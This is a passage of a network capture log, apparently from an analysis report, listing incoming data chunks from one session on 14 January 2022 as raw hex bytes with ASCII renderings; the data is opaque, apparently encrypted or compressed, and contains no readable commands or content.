2022-01-14 03:59:52 UTC	6078	IN	Data Raw: df 2c 31 3b 5b 8e ef 66 dd 43 f0 7e 91 ce 9b 80 8f a6 62 29 fe 34 59 9a 48 86 98 8e ba 9b cd 90 7d 79 24 58 72 c1 19 6c 17 aa 86 c2 e5 da 9b 6f f1 c9 08 ef 64 84 cc 27 41 9e d1 20 02 ae fe b3 51 6c 1a e1 1e 61 fb 4a c8 91 f3 b8 09 dd 8d b2 e9 58 b9 9c af ba 12 a9 61 93 6e 3a a1 67 92 cf d0 c2 f1 63 53 a6 28 6a 2b 09 f2 6a dd 43 eb a2 b3 0c 7d 49 29 c3 46 d7 a3 cf 76 ca 54 07 97 96 6c 43 9c bf a3 42 cb 8f 35 39 45 e8 17 6d 83 71 d3 fd 3b 8b ce d9 64 fb b5 ea 3c fe e3 2e 8a d1 47 16 0c f7 62 a8 75 66 29 f7 7f f9 4f d1 ad 72 2d 46 b9 b0 cf 17 37 c0 14 9a 73 1d a3 76 57 0a c6 6e 41 95 8c e5 28 6d d4 81 b9 32 21 56 2c ba 67 c4 b9 86 8f ac 61 3c 48 19 3d a3 0f 17 fb ba 33 5f d3 10 22 4a 94 5d e9 4c 45 a0 8b 04 77 fe ba d9 0d 11 45 57 94 f4 0c 3f 87 44 2e 90 07 Data Ascii: ,1;[fC~b)4YH}y$Xrlod'A QlaJXan:gcS(j+jC}I)FvTlCB59Emq;d<.Gbuf)Or-F7svWnA(m2!V,ga<H=3_"J]LEwEW?D.
2022-01-14 03:59:52 UTC	6094	IN	Data Raw: 38 ea a9 7c 66 40 25 c0 ca f0 89 ee c7 2e 1c f7 21 d2 68 80 aa 49 44 06 e7 df 1d 80 37 a4 b0 76 1b fc 1d de 55 99 00 d7 49 fa 8a 2c 8c 51 fa 10 f4 98 1a 33 1a c2 5f ad 14 e9 b8 32 64 7a d9 5a 9e 57 4e ea ff 90 04 86 cf 69 58 b5 ac df c8 f0 e3 0e 73 8e 1f 4c 8f 88 b0 71 b8 a5 4b 2b 3e 3b b1 9d e2 9e 06 4c 7f 65 48 a9 73 1b d9 67 54 93 f8 1f 0e 76 02 7d b5 7d 53 51 70 ed bc f7 97 83 55 b3 c3 35 ba 37 21 05 74 58 ef 0e 29 94 e5 25 ac a6 e9 1e c7 51 a7 b2 67 35 40 e6 39 12 8f 97 42 89 67 a3 4c 53 f5 d4 08 cb 8e 1a a0 5a ca db ca 9a 28 a5 89 41 4c f8 3e 58 7d b9 6e 7d 4a 2a c8 95 fc f6 d9 d4 b7 c9 a5 67 d2 e1 40 d7 21 b3 b7 30 e8 0f 27 d6 a1 46 3c 74 eb b7 5a 3b 10 e1 54 e9 77 a6 d9 ea 04 08 92 d4 eb 54 da 7f d1 c1 82 8b 52 05 66 0b c6 f3 3c d0 96 ac 40 69 2d Data Ascii: 8\|f@%.!hID7vUI,Q3_2dzZWNiXsLqK+>;LeHsgTv}}SQpU57!tX)%Qg5@9BgLSZ(AL>X}n}J*g@!0'F<tZ;TwTRf<@i-
2022-01-14 03:59:52 UTC	6110	IN	Data Raw: f1 7c 11 2b b0 79 0c 5b c1 01 68 4a 1a e2 46 ac 8e 90 b9 d7 87 ec cc 31 3e 99 62 4f 88 bb 00 17 53 77 1a 8f a4 9c a1 b6 c2 51 bb dc 75 59 66 0b 50 2b 4a e0 ff e3 ee b1 36 11 4e 83 51 be 01 b2 27 67 bf db 7b 5a c1 f4 90 e9 13 f4 bd 02 92 56 58 c5 93 c1 2f 8c fb 3b 58 a2 f0 f0 c4 67 6d ef 2e ed a1 e7 58 7f 67 2f 21 c5 90 4a de 94 b6 a4 12 aa 65 18 f2 56 cf b1 46 15 51 93 0a 8d 3b 37 89 d1 75 da b1 37 29 48 54 55 da 09 07 ce cd d7 3a a1 d6 fa 88 bc dd 83 98 c4 ec 04 d6 aa eb 72 e7 1a 8e 4b d2 85 13 e1 a9 f8 83 c0 a5 8c 6f e1 c7 be 07 e5 a3 43 0f 1a 92 36 68 db c5 af c1 cd 32 02 91 3f aa 5b 9c 5b 90 c0 62 41 74 a0 a2 03 d1 e5 94 ea 41 55 b5 d2 56 16 dd ed 42 31 46 3b e6 e7 6b c1 c7 89 06 ae 3c b4 e6 c8 17 92 95 89 16 07 e7 f2 68 4a 32 3e 47 8e 4b e1 a1 0d c9 Data Ascii: \|+y[hJF1>bOSwQuYfP+J6NQ'g{ZVX/;Xgm.Xg/!JeVFQ;7u7)HTU:rKoC6h2?[[bAtAUVB1F;k<hJ2>GK
2022-01-14 03:59:52 UTC	6126	IN	Data Raw: db 75 1e b1 0f d0 77 eb a9 bb cb ad 8d da 19 32 77 8a a3 17 d9 dc 14 9c 48 17 80 5a 89 9e f1 5e 68 cb 6d bb 89 9f c8 f9 95 3c 30 71 3d 3e 32 bc 71 5d 9b e5 82 28 13 6a 5f 9a 65 d2 da bc 13 1b 4e 2e 9f 1e 5d e7 a9 d5 d3 4d 51 93 f2 4d 3a 32 14 4e 48 4d f6 d8 7e 76 b8 b1 6f 15 2e e2 55 96 e5 61 bb 7f b9 b1 01 00 c3 a1 f0 12 99 b2 cf 48 c2 d3 d3 56 77 94 16 c3 31 fc 46 81 c4 60 54 4c dc 35 e7 66 38 25 f1 9b bb 9f ab 1b 83 4b 2a 10 db cc ba e8 06 d1 aa 09 12 04 7c 34 b5 8a f9 5b 38 8a 30 c1 d3 33 8e 92 a0 c8 02 f6 12 5e 01 b2 93 b4 dc ce 4d ef 48 92 63 91 18 39 a8 b7 e6 a9 fc 11 9e e0 01 2a e8 03 32 8e dd 87 06 db 2a da 33 87 6c 83 bf c2 21 6c ba 08 22 77 eb c7 c2 81 a7 0a 73 36 cc 22 ca ed d1 7b e6 22 2b 09 a1 46 db 22 59 29 03 6a 13 18 fe 3e e8 ed c4 5d 73 Data Ascii: uw2wHZ^hm<0q=>2q](j_eN.]MQM:2NHM~vo.UaHVw1F`TL5f8%K\|4[803^MHc92*3l!l"ws6"{"+F"Y)j>]s
2022-01-14 03:59:52 UTC	6142	IN	Data Raw: 41 60 cc df 98 e3 60 66 da 17 5c 59 40 f3 a7 56 dc b6 1b ef a8 5a 97 09 4c ed ab db 5e 4f 2d 70 78 75 16 63 2f 08 ce 13 f7 58 73 a2 6d 5d d0 eb a8 ea c8 f9 68 d7 ec 5e 66 05 ba 45 5a 74 f1 9c 93 1c 0f e8 1f 19 a9 b0 44 0f 64 ee e6 34 c7 91 1c 9d 98 b0 31 ea 02 24 9d f4 7b ce d4 d6 b0 61 58 e5 2e 05 36 63 c0 1b 32 42 1c bc f2 a3 a7 ba 62 0b 47 81 0d 7a 99 da 1e ca ad 36 ff a4 fc 29 24 18 4a 2d 5d 8d d5 90 d3 4f b0 05 27 bb be d6 41 64 86 f4 64 9c 7f 18 cb ec e8 4e 2a 83 13 9e 55 6d 24 bb b1 dc 5b a9 66 8d 5f 29 0f 58 47 78 4c 43 72 c2 ad 3e 3a 17 75 c6 75 2f 75 9f 24 31 be 6d e5 cf 3e a2 c6 50 e8 15 fc 04 96 bf 10 0b b4 9f 82 1b 69 9a 9c b8 d1 b9 0e 39 26 5e ed 67 d4 0e 57 5f b7 14 19 53 52 0a 93 87 84 dd ac a5 04 d3 d8 48 24 47 33 53 7e 34 f2 ab 94 ef df Data Ascii: A``f\Y@VZL^O-pxuc/Xsm]h^fEZtDd41${aX.6c2BbGz6)$J-]O'AddN*Um$[f_)XGxLCr>:uu/u$1m>Pi9&^gW_SRH$G3S~4
2022-01-14 03:59:52 UTC	6158	IN	Data Raw: 0f 16 5b 44 e3 7a 82 3c 86 0a 2a 92 1f 3d bd 9f bb ec 7d c4 3b 47 24 9c 07 2a bf 00 2a b2 97 b4 04 c5 f9 d3 95 ed df 76 8e fe 95 9e 20 4c 3c 90 c1 47 7f f2 ac e2 7a cb 0b 06 50 4b 35 1c a2 1a ea 4e c9 b7 a7 10 03 3c 51 09 f4 01 2c 95 56 bd b2 be be 30 5c eb b0 3e 85 58 12 94 5a 05 38 fa 0c 4b 03 6a e8 24 a2 ee f6 8d 72 05 08 40 74 05 f7 96 90 4b 93 08 65 2a 00 35 8f 5c 09 9c d6 44 40 2c 09 99 c0 0b b5 13 65 97 58 ff 5b e8 b5 1c bd 3a c4 6e e2 1d a1 b3 3e 33 a2 9d 8b 3b 0c 31 2d 63 a8 d3 a9 c4 7a ad 5c 8e f2 f4 1a 6a 41 16 3d 21 87 3a 81 25 56 02 df 58 36 ba 5f b9 84 75 b5 c9 cc 92 a7 03 7e aa 4e 8e ea c7 3d 25 bb a6 b8 d4 96 4f 78 11 2f 80 8a 98 12 fc f9 7e d5 4e eb aa 70 69 19 eb c7 05 c0 c9 4c f4 47 90 0e 66 34 3c a9 d5 aa 35 ea 4f c7 20 f5 83 94 c4 df Data Ascii: [Dz<=};G$v L<GzPK5N<Q,V0\>XZ8Kj$r@tKe5\D@,eX[:n>3;1-cz\jA=!:%VX6_u~N=%Ox/~NpiLGf4<5O
2022-01-14 03:59:52 UTC	6174	IN	Data Raw: ef 85 43 ed 8b 2b a7 53 64 7f 1b 25 3f 41 59 d2 a7 17 e5 f0 dc 12 3e 31 bf b8 ca c4 7e e7 c5 56 37 ec 4f c4 a2 57 ee 43 13 55 ca 6c d9 b5 37 d0 ad c2 53 42 9a e6 1b f2 88 78 a5 41 84 52 6c 87 17 d8 48 f5 f6 48 e2 79 27 42 d7 9f 26 e1 c1 41 66 1b 59 d6 3c 3a 8e bc dc fa 2f 1f e3 ff 01 cd 26 2b a8 f1 a9 82 14 8d 96 f1 cc b7 65 d1 c9 d5 4e 1a d8 85 74 13 ef 04 cf 29 ec 56 4e e2 12 ff 5c 3a 55 f3 5b d0 cb d3 d3 d3 66 8b b7 24 48 8f d1 c2 47 c3 2b f1 77 20 10 26 76 55 09 da 7a 9f 65 d3 fd 00 5d 63 6e 75 23 ea f8 13 fc ef 68 e8 54 01 54 8f f2 73 06 11 f2 6d 48 2d 3b d9 9a f5 bb f0 17 cf 26 2f 09 a2 02 54 2e 57 cf e9 34 9e 2e 0d dd de 92 dd 3e 93 6f 52 38 50 b8 37 22 f2 6a 51 f9 7f 12 a5 6e e6 09 2e 69 47 7a 18 65 f5 1c fc ef 96 4d 21 1e 8e 2d 58 86 b5 5f 25 2b Data Ascii: C+Sd%?AY>1~V7OWCUl7SBxARlHHy'B&AfY<:/&+eNt)VN\:U[f$HG+w &vUze]cnu#hTTsmH-;&/T.W4.>oR8P7"jQn.iGzeM!-X_%+
2022-01-14 03:59:52 UTC	6190	IN	Data Raw: e1 01 0a 52 77 fd 5e f4 eb a2 7d db e7 33 aa 5f b7 c7 0a cc eb 15 a3 91 ab 33 28 d5 36 30 7a ae 43 cd 10 c3 b3 c2 d7 4b 82 11 8c ad 12 fb 7a 82 13 9b 24 15 c2 24 2d e2 e4 18 7d 31 90 fc 2f 9f 8c 7d 4b a6 6c d8 a1 e8 44 d2 66 29 02 76 19 d3 60 22 13 71 ca b9 8e ea cd b3 ef 91 4f 22 e5 44 11 42 90 7f 27 74 68 ad a6 bd 1b 26 c4 3f 46 74 f3 6f ec 4c 26 bf 7c f6 7c 66 e1 0a 4e 6d 90 c2 bb 6f 58 28 08 3a d4 81 7d a3 ed 3c 38 26 e4 a6 99 3b c6 b7 ad 92 db 6d 37 7f a5 56 aa 44 90 6a e2 f5 ef 55 ea 22 1a 21 7a b0 c0 7a 67 1d 53 73 59 c4 5e 7d 77 dd ef f7 55 c4 67 bb 88 fc 31 b8 90 0e f4 06 32 0b 8b 37 b0 54 5d 9d ee ce 8d 61 61 58 54 7b 9d eb 4f 62 fb bc ba 08 76 65 c6 da 0f 25 e4 cb c0 8b 9c b6 26 97 22 89 e8 24 65 dc 92 eb c7 1f f3 7b 87 b4 63 27 61 45 d2 a0 64 Data Ascii: Rw^}3_3(60zCKz$$-}1/}KlDf)v`"qO"DB'th&?FtoL&\|\|fNmoX(:}<8&;m7VDjU"!zzgSsY^}wUg127T]aaXT{Obve%&"$e{c'aEd
2022-01-14 03:59:52 UTC	6206	IN	Data Raw: e9 82 04 f4 03 76 84 ef b4 56 51 c1 24 02 85 36 ac 8b 00 f2 59 1d 46 d8 2f 4b 0b f3 70 95 84 ef fa 7d 67 fe 1a 56 74 09 f3 18 b5 60 eb 50 58 50 b4 50 42 17 d3 8d 4b 5c f6 af 38 eb 8d b7 e2 06 67 1e 17 7b 06 35 60 64 55 ec ae f0 8e b8 45 03 ae 12 77 13 96 a9 23 25 d0 c7 00 8a 62 ca 79 57 d2 13 70 77 b9 1c 5f 94 35 a0 ed 8a 73 58 63 73 02 14 6c f2 85 77 21 00 2a 17 33 4c eb 26 be a2 0c 4b 93 64 0e f2 92 47 5f 8c 10 a7 cd 4f c2 84 bb ff 7b e1 63 36 45 9e 7d 96 51 06 3d 96 66 81 d6 1e d6 24 45 d8 d3 ce bc 04 80 46 68 af 8c cd 34 49 30 77 a5 8e b6 20 a2 71 eb f6 75 e7 c6 9a 37 eb 7a e7 2e 02 e0 b0 38 68 08 ef e4 ae c7 a4 7d f8 f6 c6 7d 19 da ff a8 a9 4d 77 1c 0e ef d6 14 e6 4b ea 28 c8 f6 f2 09 c9 f3 76 f2 e6 15 a0 50 f7 a9 c2 92 1b fa 6a 7d 58 c7 a1 35 cc 64 Data Ascii: vVQ$6YF/Kp}gVt`PXPPBK\8g{5`dUEw#%byWpw_5sXcslw!*3L&KdG_O{c6E}Q=f$EFh4I0w qu7z.8h}}MwK(vPj}X5d
2022-01-14 03:59:52 UTC	6222	IN	Data Raw: 28 ce ca d7 8d 0d d0 2d 49 e3 11 c0 21 09 1f 80 e3 c8 00 76 a1 2e 19 8c 9d d7 13 34 ce c7 2a b0 c8 62 ca fb d9 47 2c d0 23 84 72 e7 ff ff 8e 58 b2 7e d7 a9 9b 93 f7 31 bc 8f 17 d4 fc 45 e2 09 07 92 4c 6b e7 4f 42 f7 30 83 71 d3 97 86 8f a7 4f 15 d7 58 18 81 af 50 9d c2 9f 8d 2c 5f b7 80 86 7e 88 ca d2 d6 2d fa 6e 1d 67 98 35 e0 8e 68 ca 17 c3 2c 41 93 e0 a0 d7 3a b8 91 a3 f1 d0 93 08 88 8d e9 25 9b 29 1a 59 c6 dd f5 0c b9 c8 0e 87 a4 f9 c3 b1 9f 5a 7e 80 80 69 cd fe 3b 0f 7e 56 be 31 fb 96 d3 92 f7 fd 4d 17 35 9f 0c e4 8e ab 95 4b a1 5f 7c 9a 73 a9 16 44 b4 6f 78 1b 7e bd 7d 9b 80 37 6e 0e 85 b1 84 74 31 36 1a bd 39 95 42 e1 d1 5c fb 78 ed 6e 7e 84 f4 ba f6 11 6f 1b 13 e7 c3 bd c5 cc 4b dd 0f 11 b1 71 d5 51 11 4c 70 8b 26 f2 af 56 26 f1 7d 77 cc fc dc 17 Data Ascii: (-I!v.4*bG,#rX~1ELkOB0qOXP,_~-ng5h,A:%)YZ~i;~V1M5K_\|sDox~}7nt169B\xn~oKqQLp&V&}w
2022-01-14 03:59:52 UTC	6238	IN	Data Raw: 2a 47 c5 71 d1 ca 39 0d d2 f7 33 00 f5 d5 b5 69 e1 cc 61 c4 6a 55 76 4b 25 74 73 50 91 5c 91 05 88 36 40 93 f0 62 de 11 88 8d c4 65 2d 9a d0 d4 dd 68 a4 bb 17 4b 86 e3 ec 18 b5 8f c2 2e a2 2b e4 9d 44 d2 93 97 09 f3 6c 92 42 04 11 3b f8 45 b1 fb 7e 6c c5 98 51 26 a6 41 24 04 92 70 8e da 91 f5 ea 4d fe ad 81 6c e5 9d 63 dd f2 f5 68 63 ac e5 39 c9 e2 c2 7c 5e eb 10 51 d3 cb ae 84 e1 0b a9 c1 e3 42 a4 6e d6 d3 7b 74 01 16 98 b4 bb 47 2e ba da b7 d5 68 a8 98 e3 a4 5f 68 5d b0 1f fc 1e 46 12 cd ca 2a 9b 46 1c 0c b4 09 9a 55 53 14 d0 c9 12 90 f1 6f 0b 2e 50 d5 9e 0f 5e 7d 42 cb ca e8 f3 23 1d f0 93 f1 dc f7 a8 c3 ee 5a e5 fc 60 68 44 86 5c 50 7d 9c 3d c9 82 f9 3d e0 15 70 04 1c 5c 4f 89 19 96 99 a3 45 d3 c2 d5 8b 89 f5 67 7f 6b 0b ca ff 2a 10 d1 fc bf 46 f9 35 Data Ascii: Gq93iajUvK%tsP\6@be-hK.+DlB;E~lQ&A$pMlchc9\|^QBn{tG.h_h]FFUSo.P^}B#Z`hD\P}==p\OEgk*F5
2022-01-14 03:59:52 UTC	6254	IN	Data Raw: d3 4b 71 dd 91 77 5a 99 fe 42 46 cb f4 ed 87 3c 85 4c 2c 0e e5 cf 4a b5 37 b7 3a ec 65 71 e0 ad 77 28 ac 5e 6f a4 bf 3b cc 9a 13 e5 fc 57 f5 b2 66 4a 6b e8 01 36 9f 6b dc 71 9e 7e 36 c6 2e 4e 3d f0 cf aa 4c 3a f2 3a b8 3a 5f f1 31 72 fd 7d 72 52 ec 97 cc df 79 d4 a4 1e d9 ad a2 f1 ee 54 b3 89 64 6a 06 12 ea d7 2d 86 66 38 21 b3 38 67 06 3e 14 86 71 55 a1 8a 54 f7 48 91 82 fb 88 bb d4 f3 e2 8e 49 e9 95 1c 79 1d 23 c2 ec f1 6d 6b 1f 11 03 68 63 3e 71 cb 67 b4 5b d8 76 d4 06 ed 62 1f b3 99 90 0c 61 87 42 d7 ac 6f b4 5d f7 e1 78 01 7f 47 25 e8 79 69 66 b5 f2 9a 0d f7 db fa 2e 6d 8a e9 03 67 c6 b5 79 2f 18 a7 fe 78 21 ec 39 28 40 73 6f dd 7c 1e 08 1c 37 a5 e5 14 c4 0b f3 4c bc 5d 99 9a 95 77 fe a4 58 45 6b 1c bc b2 42 22 d8 db 43 a2 97 17 62 96 ee c9 11 9d 49 Data Ascii: KqwZBF<L,J7:eqw(^o;WfJk6kq~6.N=L:::_1r}rRyTdj-f8!8g>qUTHIy#mkhc>qg[vbaBo]xG%yif.mgy/x!9(@so\|7L]wXEkB"CbI
2022-01-14 03:59:52 UTC	6270	IN	Data Raw: 53 f4 56 99 30 4e 17 6d 37 ec ba 90 5c 5b 2e bc 47 22 f0 3b f9 6c e2 ef e3 b9 3a 5e 9c 3a 50 12 e8 85 a2 5f d3 b6 79 40 0b a8 fd 1d 89 d6 29 a4 9c 22 22 2a 15 0b 0f 77 b4 13 83 b8 f9 8e b0 cf 80 ed 1a cb 57 8c f3 c6 bd 80 2b 4e be 45 25 99 47 ea 05 52 2c 12 a0 af e9 3a c8 ca 33 c5 9d c4 cd 63 fd 5c 81 ea f4 6c 86 fc 63 8d d9 91 82 63 3b 8d 9f b8 83 c1 d5 e0 84 b6 7e 3a ed c3 79 3f 28 51 3f 62 a2 aa af ae 27 4c a0 1d 9d 70 5d 10 9c 55 cf 75 c8 2d 70 ee c7 f3 1d 44 60 cb 28 89 d1 0a e8 e3 b6 6a 1f 51 46 f8 66 fe 9c 2d 84 f9 ab 71 a5 ce d6 91 67 69 06 58 66 fa 4a fe 50 87 33 97 04 f4 d4 19 1a 19 13 26 1a aa 76 3b e9 c5 89 c0 48 c7 73 bb e4 34 7c e7 4c 5d 45 82 8d 15 27 e1 4c 04 97 17 de ee 68 5f b4 43 93 d9 5a 77 07 3b 87 d6 d4 10 03 a3 3f 70 53 6e f8 07 3c Data Ascii: SV0Nm7\[.G";l:^:P_y@)""*wW+NE%GR,:3c\lcc;~:y?(Q?b'Lp]Uu-pD`(jQFf-qgiXfJP3&v;Hs4\|L]E'Lh_CZw;?pSn<
2022-01-14 03:59:52 UTC	6286	IN	Data Raw: a0 24 ed f6 c6 91 33 f5 14 45 71 f6 b2 ed 86 b7 52 ba ee b9 2c 7e 1a 41 7b ac 8a 85 82 57 1a fa 5f 4f f9 e8 35 fd 91 0b fa 11 49 f6 98 bf f0 29 36 cb 8e c7 b6 1a 71 f3 c4 b5 c1 09 5e db 49 25 9e e4 00 ec 6d 5a a5 16 74 0a eb d7 ec de 2f 84 30 7d 2e 17 74 ce 72 ae f6 a5 f6 bb cf 9a ac 1a 31 6c c2 6c f1 8f 2f 8e 61 26 f9 ed b1 66 ad a6 d3 c0 9b 61 a8 08 92 c2 0e 4e 3b a3 06 1c c0 66 a7 95 f1 3e 75 75 b8 01 a9 a8 49 a1 ef 52 90 bd 51 00 44 be ba 98 d7 50 7a a8 7f ce 5d c1 97 0a 1d 5b e8 a3 57 03 d2 55 81 d2 65 a1 da e5 b2 f0 6b de 82 a4 66 58 d4 6f d1 a9 ba 99 90 4d c2 f8 7e 13 bd 4a 58 15 48 39 78 e4 b9 6a d8 7e 85 2a c0 09 0d 9c a4 04 88 e8 1a 6e ec a9 82 fe 0f 3b 11 d9 41 0c e5 cc a6 16 f2 dd d5 89 42 91 b8 a8 7a c8 60 c1 f1 27 83 da 27 d4 6a ca f3 8c d4 Data Ascii: $3EqR,~A{W_O5I)6q^I%mZt/0}.tr1ll/a&faN;f>uuIRQDPz][WUekfXoM~JXH9xj~*n;ABz`''j
2022-01-14 03:59:52 UTC	6302	IN	Data Raw: d3 22 4c 4d bb 76 ad 1f 25 7c 15 df 5a 93 54 cd ff 78 96 96 be c7 bf ed 3b 86 e5 d0 e3 8a 8d b6 e5 a1 8e 9c c6 a7 1f db c5 72 5c 5f b3 f4 2e a9 33 6a 40 fe 6c f2 01 4a 15 78 c0 07 35 f1 e0 4f 6d a7 e6 c8 2d b3 8a d4 e9 eb 14 a2 e5 03 b6 12 3a de 8b cc 63 17 a3 a8 65 9c 06 4e 27 45 fd a3 20 c1 60 36 0e bf b4 c2 f7 92 b0 8c 47 2d 30 28 ff 61 97 e3 df 7a 96 b9 51 49 e8 35 5a 22 9e cb 14 fb 83 8d 5a 0d 13 f6 4e ec b1 39 05 e4 4e c4 63 d7 32 ff 33 50 ed 2c 9d 51 88 61 33 70 a5 ae 1c 3e 84 f2 2e a4 0e 56 b8 4c e5 29 31 09 57 eb df d4 e4 b7 fd e6 31 65 19 96 62 2d 6a 4d 37 e7 2b ba e9 59 ee 9e 82 af 53 dc 62 d7 e4 7d c4 8d a3 d3 bf b4 8a 21 44 10 ba 16 8a 28 59 5d 4b 0f 4c a8 49 ac 63 91 c4 16 48 66 9f 14 02 e9 2a 19 2c fe 97 76 7f 33 58 ab f5 5a 9a 1f 36 49 2b Data Ascii: "LMv%\|ZTx;r\_.3j@lJx5Om-:ceN'E `6G-0(azQI5Z"ZN9Nc23P,Qa3p>.VL)1W1eb-jM7+YSb}!D(Y]KLIcHf*,v3XZ6I+
2022-01-14 03:59:52 UTC	6318	IN	Data Raw: ff 76 43 03 ac 20 12 85 38 45 18 f4 32 c5 69 44 ae cd 65 d7 bd f1 7d 15 f7 ac e9 82 ff 16 e6 de ff cb c2 8c 1b 40 7a 4d 13 d7 b9 56 08 c4 65 4e db 0e 39 68 2e a5 6e df 95 7c 1d 5f 17 76 85 22 4d 52 bb f5 c1 7b 59 5e 43 89 83 05 8d a5 cb 41 e7 c1 52 89 17 54 e7 47 01 75 af 94 4e 3e 7f 5d 3c dc 10 92 42 8c 4d 3b a0 db df 7b df 2e 8f dc b5 3c 08 3b 35 3b 13 ac 2b 29 34 d3 d8 50 9f 6e 55 17 9c 9c c2 e0 ae fa 4d 1c 90 6b 90 52 bc 7b 2c 60 ea 46 92 d2 e4 15 03 04 52 4a de f5 c6 89 13 e2 c2 1b 55 64 0b 3c e9 49 5a 68 a9 f6 9a 75 5b 3c 1c 11 68 e7 37 d9 cf 93 7a 0f 7f 09 ad c2 fe 1f 91 a2 45 40 e6 b8 7a e2 13 62 39 55 8c 9d ce ea df 29 a1 d2 8f c8 69 90 59 57 6b 3a 8c 5d 69 2c f9 5e 44 59 ec 0e 8a be 1a f4 64 db bc 26 24 6e 65 66 08 ff 85 80 6c 9f 40 75 34 bb b0 Data Ascii: vC 8E2iDe}@zMVeN9h.n\|_v"MR{Y^CARTGuN>]<BM;{.<;5;+)4PnUMkR{,`FRJUd<IZhu[<h7zE@zb9U)iYWk:]i,^DYd&$nefl@u4
2022-01-14 03:59:52 UTC	6334	IN	Data Raw: a4 ce cf 58 32 8d 9c 81 47 d7 f2 4e a0 60 2c 94 7c fe 57 46 ca 4e d1 86 c5 98 76 d9 5a b3 15 5f bb b9 70 91 4f 5d a5 58 6c c9 0e b3 ac 84 57 2e 3c 7b 0d 4f 97 11 74 f5 6e 4c a8 70 2e 1f 86 97 5d 9e 68 00 a0 03 72 12 c3 a3 3f c0 09 70 32 5e 34 de 02 86 1a a3 82 42 cd 75 de 6a 48 99 4a 6e d4 eb e8 c1 97 a7 98 da 54 5a bb 19 aa 7f 88 42 f0 4e 18 bc e1 29 1a 66 7a e5 53 66 81 e4 f7 c6 2d 03 d2 d0 ff 06 fa 90 e1 fa 94 7b a4 72 47 91 41 37 1e 11 43 39 19 75 54 66 06 b9 e6 95 e6 87 49 28 4b fd f2 52 04 79 03 ae 2d 74 c6 03 c2 96 20 cc 9e d0 85 13 dd a3 35 29 4a 43 9a 87 ae 62 9c 6c 9b 09 03 fa 55 dc 53 48 4d af e5 67 3b 75 65 66 c1 9d 5f 01 ea 5a 5e 4e 53 78 bc 6b 4b 9e ea 73 e9 2e 01 34 9f 2b 87 43 e6 ea 37 ec a2 0b 83 c8 1b 47 df e5 97 19 4b b8 dc d6 20 46 63 Data Ascii: X2GN`,\|WFNvZ_pO]XlW.<{OtnLp.]hr?p2^4BujHJnTZBN)fzSf-{rGA7C9uTfI(KRy-t 5)JCblUSHMg;uef_Z^NSxkKs.4+C7GK Fc
2022-01-14 03:59:52 UTC	6350	IN	Data Raw: 77 9e 22 6f 54 d2 7f 0c fd b2 1d 78 95 ac 75 9a 82 76 9f ef 3f 58 ff 78 fd 6c 32 8e 39 0c 65 86 29 df d7 42 d3 e5 9a df 26 f5 13 79 17 23 10 8d 2f 71 76 8e 9f ed 40 07 d8 33 5b 82 1d c4 8b df 1d e1 f0 5e c4 56 6d 60 7a e9 48 d7 b3 06 73 be 19 f2 b5 48 1f df fe 11 71 24 c1 24 20 2c 8e eb ad 18 93 69 f2 a9 c4 49 b0 32 80 fa f3 24 fe 22 04 72 aa 8b 20 0b dc 54 d2 96 68 73 71 60 ca 80 a1 cb 7c 20 29 a6 bc f0 ae 70 0a b1 25 25 5c ec cf 37 b0 d0 a7 98 1b 26 41 d3 b0 e9 16 fc 9a 38 b6 84 b9 e0 4a b2 22 66 90 5c f1 aa 24 d2 bc 20 f1 39 43 a8 4d 67 9a 61 07 db c5 38 34 fd 9f 5a 01 b9 9a 22 a9 8f 22 c1 03 ce cb a7 fd 6e 84 65 64 32 da 72 27 12 0e c7 61 fb f4 b3 1d bd 49 94 d9 69 a5 6b ab 4b 86 c6 5e a5 b0 22 9a 26 9b ba cb c3 d8 ae fb c8 8d e4 4f c6 99 c4 ff 1d de Data Ascii: w"oTxuv?Xxl29e)B&y#/qv@3[^Vm`zHsHq$$ ,iI2$"r Thsq`\| )p%%\7&A8J"f\$ 9CMga84Z""ned2r'aIikK^"&O
2022-01-14 03:59:52 UTC	6366	IN	Data Raw: 65 90 3e ad 9c d1 3d 8d ba 2a 6a 2f 4a eb 37 9f 78 e2 d1 2c c6 ee cc 45 f9 9f 9a c9 de 51 25 44 99 d9 fe e2 4e e7 38 5d ea f5 c5 78 ac 50 03 08 7b 49 c2 6f 09 15 bf ed 18 c9 81 5f 54 5f f8 54 83 df 33 37 9d c4 d3 24 d9 29 1f f6 6a be 58 0d 98 7a ee bb ea a7 f2 3e 96 a7 3f 97 43 1a 61 4e 56 91 7d 94 19 40 91 40 66 76 1a 4d a5 cc bc 3c c4 e1 33 74 f1 0b b0 21 8a 83 b9 33 16 f5 65 ce 3a d2 48 42 28 83 ed b0 1e c0 ec e9 09 0d 36 48 f6 2e 69 1d 78 d6 f5 6f e9 de cb 0d ba bf 33 d3 87 00 67 37 68 f7 1a c9 31 4e 6a 30 11 2f e2 3a 2f c3 17 be 80 f4 04 ef d5 41 b4 d5 23 fb 8b 8a 04 2e 68 71 9f c1 e2 4f 63 5c 89 94 97 72 ef 27 30 2a b3 d2 ca 44 21 9d 96 29 8c 6b 09 cc 62 ab 19 6b e3 45 a8 74 f6 1c 5d 6f 70 9c d9 8d 6c 39 1a 06 b0 4c 05 38 32 70 09 01 36 84 71 bd 45 Data Ascii: e>=j/J7x,EQ%DN8]xP{Io_T_T37$)jXz>?CaNV}@@fvM<3t!3e:HB(6H.ixo3g7h1Nj0/:/A#.hqOc\r'0D!)kbkEt]opl9L82p6qE
2022-01-14 03:59:52 UTC	6382	IN	Data Raw: a4 da f0 51 c5 d4 d9 ea 72 67 ef 9a db f2 13 b0 5a 6b 77 68 24 2a 41 c4 f2 e2 01 69 c0 8f 43 22 91 b4 26 3e 9c f3 ce ce ac fa ed 24 06 26 76 7e 84 3e 0b 2a 83 a2 fc 78 91 9d 24 3e 60 20 8c a2 2c 77 62 d5 74 27 ca 64 9b f9 c7 d5 e9 fd 88 f7 ee 9b cd db 98 50 cd 82 91 26 d0 94 1c 4e 8f 08 20 7f f9 fa 61 41 87 2b e3 ae 98 e0 82 e1 9e 95 83 b2 d3 1f 87 45 b2 9d 5e eb 58 e8 9a 56 06 52 e9 91 2d d1 ac 02 7d 9b d3 df 32 a8 1c 62 10 2f 10 fa fa 3d 0f 66 6b a8 7b 43 d4 b6 1a db 85 23 f5 cf ed f6 29 28 96 53 60 ad 9f 16 8f 6e fb 55 bf 0c a6 05 f3 52 f2 2f 91 26 b7 4f 0b af b9 7c fd 31 70 29 9e 86 6d 76 8c 1d 35 81 84 f6 80 b3 81 9c d1 84 cf 8d d3 ed 81 dd 1f de 53 69 e6 5a 3f 20 96 72 32 2c 4c f6 4d 1b 46 e1 e5 5d df 69 8e d9 b2 e8 6e 24 b6 c1 ea d1 73 